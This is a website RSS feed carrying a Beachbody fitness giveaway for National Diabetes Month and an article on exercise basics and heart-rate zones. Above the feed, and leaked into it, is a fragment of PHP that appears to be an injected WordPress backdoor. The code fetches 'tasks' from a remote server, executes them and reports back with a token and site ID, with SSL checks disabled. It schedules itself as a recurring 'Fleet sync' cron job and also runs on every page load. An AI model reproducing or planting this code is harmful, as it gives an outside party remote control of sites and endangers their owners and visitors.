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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); fitness – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Thu, 01 Nov 2012 15:46:25 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp fitness – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Diabetes Awareness Month: Fitness Program Giveaway https://skinnygeneprojectnew.dreamsites.io/diabetes-awareness-month-beachbody-fitness-giveaway/ https://skinnygeneprojectnew.dreamsites.io/diabetes-awareness-month-beachbody-fitness-giveaway/#respond Thu, 01 Nov 2012 15:46:25 +0000 http://skinnygeneproject.dreamhosters.com/?p=1737 November is National Diabetes Month!!!

We know the best way to fight diabetes is through food and fitness. Eating a healthy diet and exercising are essential for living a healthy lifestyle and preventing the development of type 2 diabetes.

That’s why we are so excited to kick off National Diabetes Month with a giveaway from one of our Skinny Gene Healthy Mommas and Beachbody Fitness Coach, Katie Whorrall.

Have you ever heard of  P90X, Insanity,  The Asylum, or TurboTiuFire?  Beachbody has produced these best-selling  home fitness programs, and  many more.  Thanks to Katie,  you  have the chance to WIN your own Beachbody Fitness Program.  

BENEFITS OF A HOME FITNESS PROGRAM

Regular physical activity helps improve our overall health and fitness, and reduces your risk for many chronic diseases.   But in our time crunched world, few of us have time to get to the gym.  What if all you had to do was walk to your living room and push play?

Fitness DVDs provide a much needed solution for those of us who just don’t have time.  Remember when fitness videos had an instructor dancing around in leg warmers and a leotard?  Fitness DVDs have come a long way and now provide great music, fun moves and lots of energy.  They come in every shape and size to fit everyone’s tastes and preferences and to help you find the best fit for your fitness style.

KATIE’S  BEACHBODY GIVEAWAY

I am honored to be giving away 1 of 4 Beachbody Fitness Programs and 7 days of Shakeology.  Each program comes complete with a program calendar, meal ideas and recipes and support from me, your coach.  These programs are designed for all fitness levels and include a “modifier” who will demonstrate the low impact version of the workout.

This FREE giveaway is valued at over $ 160!!

Here are the programs to choose from...

1.  Power 90 – Instructor Tony Horton (creator of P90X), includes 4 workouts plus a bonus “express” workout, a 90 day workout calendar to follow and a resistance band.  [Please click on image below to see a sample of the workout video]

2.  10 minute trainer – Again Instructor Tony Horton starts with short 10 minute workouts and builds up to longer workouts.  Designed for people who use the excuse “I don’t have time to workout”…now they do!  Instead of starting with cardio, then working different body parts one at a time, he stacks them to work everything at the same time—in just 10 minutes. “Not a second is wasted! It’s multitasking for your muscles!”  [Please click on image below to see a sample of the workout video]

 

3.  Les Mills Body Combat – BRAND NEW!!  Great mixed martial arts inspired workout….comes with 6 workouts (30 min, 45 min, 2-60min and 2 HIIT training workouts).  It also comes with a “technique” DVD that demonstrates the correct form and stance.  This is pretty cardio intensive and would burn a lot of calories…but may not be for everyone. [Please click on image below to see a sample of the workout video]

 

4.  TurboJam – A rockin’ workout for a rock-hard body. Chalene Johnson has supercharged her fun combination of dance, kickboxing, and body-sculpting. Blast away pounds and inches, build great abs, and create the body you’ve always wanted.  You get 5 workouts plus weighted gloves to increase difficulty.[Please click on image below to see a sample of the workout video]

 

HERE’S HOW YOU WIN IT

Entering our drawing for Katie’s Beachbody Fitness Program is super easy!  You just have to tell us your “small step”.

Small Steps To Big Success

This November, for National Diabetes Month, we want to encourage you to focus on the small things you can do every day to improve your health.  The goal is to pick something that is achievable, but it still requires at least a little more effort or thought than usual.

For example, you could pledge (or vow) to drink  more water, cut your soda intake in half, exercise for 30 minutes a day, park at the end of the parking lot, take the stairs, take water breaks not coffee breaks,  drink 2 glasses of water before each meal, walk for 10 minutes after dinner, or exercise for 30 minutes a day.  

Just pick 1 small step and write a comment below telling us the 1 healthy lifestyle change you are willing to make for 30 days.   That’s right, just 1 simple pledge to eat better or be more physically active for 30 straight days.  We will take “small steps” from November 1st through November 19th.

Ready! Set! Write your small step!

This giveaway will end on 11/19 at 11:59 p.m PDT.

Each entry counts as one chance to win.  US Only!  Winner will be announced November 20. Winner will be chosen AT RANDOM by random.org.

 

 

]]> https://skinnygeneprojectnew.dreamsites.io/diabetes-awareness-month-beachbody-fitness-giveaway/feed/ 0 Make Sure Your Fitness Plan Is Smart https://skinnygeneprojectnew.dreamsites.io/make-sure-your-fitness-plan-is-smart/ https://skinnygeneprojectnew.dreamsites.io/make-sure-your-fitness-plan-is-smart/#respond Thu, 19 Apr 2012 04:55:19 +0000 http://skinnygeneproject.dreamhosters.com/?p=1517

By Maria Crompton, a fitness guru and personal trainer with Fit for Life in San Diego, California.

If you’re reading this, you know how important exercise is.

However, there are right ways to exercise and there are wrong ways. In order to get the greatest benefit from your workout and prevent possible injury, you’ve got to do it the right way.

What is the right way? You’re about to find out.

 

No Pain, No Gain?

You’ve heard the phrase “No pain, no gain.” But this isn’t exactly true for exercise. Actually, exercising doesn’t have to cause pain in order to get you in shape.

If you are just beginning to exercise, a little muscle soreness is to be expected. But don’t give up. Work through it, stick with your exercise routine, and in few days the soreness should be gone for good.

If you ever do experience severe pain while exercising, stop until it goes away. If it lasts for more than a few days, see your doctor.

Three Parts

What does a balanced exercise plan look like to you? Is walking 30 minutes four days a week enough? Lifting weights four times a week? In a word, no.

There are actually three components of a balanced workout routine: aerobic, strength-training, and flexibility exercises.

Aerobic or cardio exercises strengthen your lungs and heart. Examples include running, walking, swimming, cycling, basketball.etc.. But remember to throw in some speedwork and intervals to maximize your results. We don’t need to be out there for boring endless hours.

Strength or resistance training exercises keep your bones and muscles strong and help with coordination and balance. Strength training refers to weight lifting, resistance bands, and body-weight exercises.

The third part of a balanced exercise routine includes flexibility exercises to reduce your risk of injury and improve your body’s range of motion. Examples include stretching, yoga, and tai chi.

It doesn’t matter what order you perform your aerobic and strength-training exercises, unless you have specific goals. Working on endurance? Go cardio first. Trying to focus on building strength?  Do weights first. Either way is  beneficial. Just be sure to incorporate all three types of exercise each week.

Warm Up and Cool Down

If you don’t warm up before or cool down after exercising you could harm your muscles.

The best way to get your muscles ready for exercising is to include a brief time of light aerobics such as brisk walking or steady cycling to get your breathing and heart rate slightly elevated.

To cool down, continue exercising at a slower pace or lower level of intensity for about 5 to 10 minutes. Then end with a few gentle stretches to loosen your muscles, ligaments, and tendons. A cool-down period will help your muscles recover and help prevent injury or soreness.

Target Heart Rate

To get the greatest benefit from your workout, it is important to exercise at your target heart rate zone.

To determine your target heart rate, you must first find your maximum heart rate. To do this, subtract your age from 220. Your target heart rate is 50-85 percent of your maximum heart rate.

For example, if you are 40 years old, your maximum heart rate is 180 and your target heart rate is between 90 and 153 beats per minute.

To measure your pulse, place your fingers on your wrist or the arteries on your neck and count how many beats you feel per minute, or double the number of beats in 30 seconds.

Sports Drink or Water?

Your body requires plenty of fluids before, during, and after exercise.

Try to drink at least 20 ounces of water several hours before your workout and eight more ounces about a half hour before your workout. Then drink about 10 ounces of water every 10 to 20 minutes during exercise.

During normal everyday exercise, water is usually the best for rehydrating. But when you exercise intensely for more than an hour, sports drinks are as good or even better. Sports drinks contain a high amount of carbohydrates, which provide energy. They also help to replace the electrolytes lost from sweating.

Maria Crompton has been a fitness specialist for 10 years. She has been in the fitness industry as a passionate and dedicated athlete and fitness guru. She loves sharing her knowledge and enthusiasm with others. Maria helps people of all levels of fitness, encouraging a healthy active lifestyle that they can enjoy and sustain for life!

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